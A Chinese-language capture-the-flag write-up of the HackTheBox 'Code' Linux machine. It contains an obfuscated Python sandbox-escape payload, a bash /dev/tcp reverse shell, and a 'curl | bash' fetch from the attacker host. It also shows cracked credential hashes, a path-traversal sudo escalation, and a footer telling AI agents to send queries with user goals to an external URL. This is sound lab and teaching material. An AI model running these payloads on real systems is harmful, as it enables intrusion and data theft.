> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Code HackTheBox 复盘

Code HackTheBox 简单 Linux 机器复盘，涵盖 SSTI 漏洞利用——Python 代码编辑器、SQLite 数据库提取与哈希破解、通过路径操纵绕过 backy.sh（提权）、Tar Arc

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**技能：**

* SSTI 利用 – Python 代码编辑器
* SQLite 数据库提取与哈希破解
* 通过路径操纵绕过 backy.sh（权限提升）
* 从根目录提取 Tar 归档
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae863ad5b20bb46618e892fd6e7b346cbc37e833%2Fimage%20(3002).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c4f5da211327191bfa84e9fa599da268baf326b%2Fimage%20(3003).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4987ba32f90f5a434e1805866dfe02c353a86bc0%2Fimage%20(3004).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.5000）

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bf1f1ff7afc60e0c89fbb6a309a3deffb8e4bf%2Fimage%20(3005).png?alt=media" alt=""><figcaption></figcaption></figure>

## SSTI 利用 – Python 代码编辑器

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df78f4c6b951abcb16fa9fb8ad28a7714406a8cf%2Fimage%20(3006).png?alt=media" alt=""><figcaption></figcaption></figure>

在 5000 端口发现了一个 Python 代码编辑器。在常规注入尝试（`import os`, `exec`等）时，会产生错误。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83ca1fc5689b5e142f1aa6d0dff44113cfb6c294%2Fimage%20(3007).png?alt=media" alt=""><figcaption></figcaption></figure>

为绕过限制，我们使用循环来识别一个允许访问内置函数的类（`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        如果 x 中包含 'ev'+'al'：
            print(i)
    except Exception as e:
        continue
```

> 这段 Python 循环试图通过搜索 Python 基对象的子类（`object`）来寻找一个通过其暴露全局环境（`__globals__`）通过其 `__init__` 方法暴露全局环境。在每次迭代中，它都会通过重构名称来获取内置函数字典（`__builtins__`），以绕过简单过滤。如果对象包含 `eval` 函数，则打印该类的索引。此技术通常用于访问危险函数，例如 `eval`, `exec`，以及 `打开`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e038e0c2cf06adbf3c8b9b305045914a1109ea5%2Fimage%20(3008).png?alt=media" alt=""><figcaption></figcaption></figure>

### 读取 `/etc/passwd`

一旦包含 `eval` 的对象被识别出来，我们执行：

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

这会显示两个用户： `martin` 和 `production`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f06d01ed2adaf3a6a2918d24dceffff4ccf7e77%2Fimage%20(3009).png?alt=media" alt=""><figcaption></figcaption></figure>

### **反向 Shell**

#### 在 443 端口监听：

```bash
nc -nvlp 443
```

#### 反向 shell 脚本：

创建一个 `index.html` 包含以下内容的文件：

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

启动 Web 服务器：

```bash
python3 -m http.server 80
```

载荷注入：

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7bbf3dd49679f36c2039a5cd4f1eea73c5784a%2Fimage%20(3010).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 终端处理：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec94c14738aea3b203f3d850e9903ce26766f09f%2Fimage%20(3012).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 使用用户进行 SSH 访问 `martin`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67f2bc8c767eb0c9ceaef2c77b75bf37e64849ca%2Fimage%20(535).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发现一个 `database.db` 文件。通过 SQLite 检查可发现两个用户（`development`, `martin`）及其密码哈希。

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>哈希</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346e8735481d0f504dce0bea3a588e002de37f19%2Fimage%20(534).png?alt=media" alt=""><figcaption></figcaption></figure>

使用以下工具破解密码： [CrackStation](https://crackstation.net/)，然后连接：

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>哈希</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d62955578b643640d117b7ac1ccaebdccd70bd40%2Fimage%20(536).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2fb8338674377ef840abebec9becb8183a39d14c%2Fimage%20(537).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh（脚本）

我们得知 `martin` 可以运行 `/usr/bin/backy.sh` 以 root 身份。

```bash
sudo -l
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d4f742e010564a96b7bc2d8be2cf72c8e36a0d1%2Fimage%20(538).png?alt=media" alt=""><figcaption></figcaption></figure>

**脚本检查：**

* 给定的 JSON 文件是否存在，
* 中的每个路径 `directories_to_archive` 都位于 `/var/` 或 `/home/`,
* 通过 `../` 序列使用 `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "用法：$0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "错误：未找到文件 '$json_file'。"
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "错误：不允许 $dir。仅允许 /var/ 和 /home/ 下的目录。"
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**绕过：**

我们配置一个 `pwned.json` 文件：

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

执行：

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1c641e0043e7e09db635533823996b0a5255b10%2Fimage%20(541).png?alt=media" alt=""><figcaption></figcaption></figure>

解压：

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6fbdcc09b630d5440e2988c30fff89dc6c9f36a%2Fimage%20(542).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-45822d4c65ca9fd910c2462539fc47bafc577c32%2Fimage%20(543).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
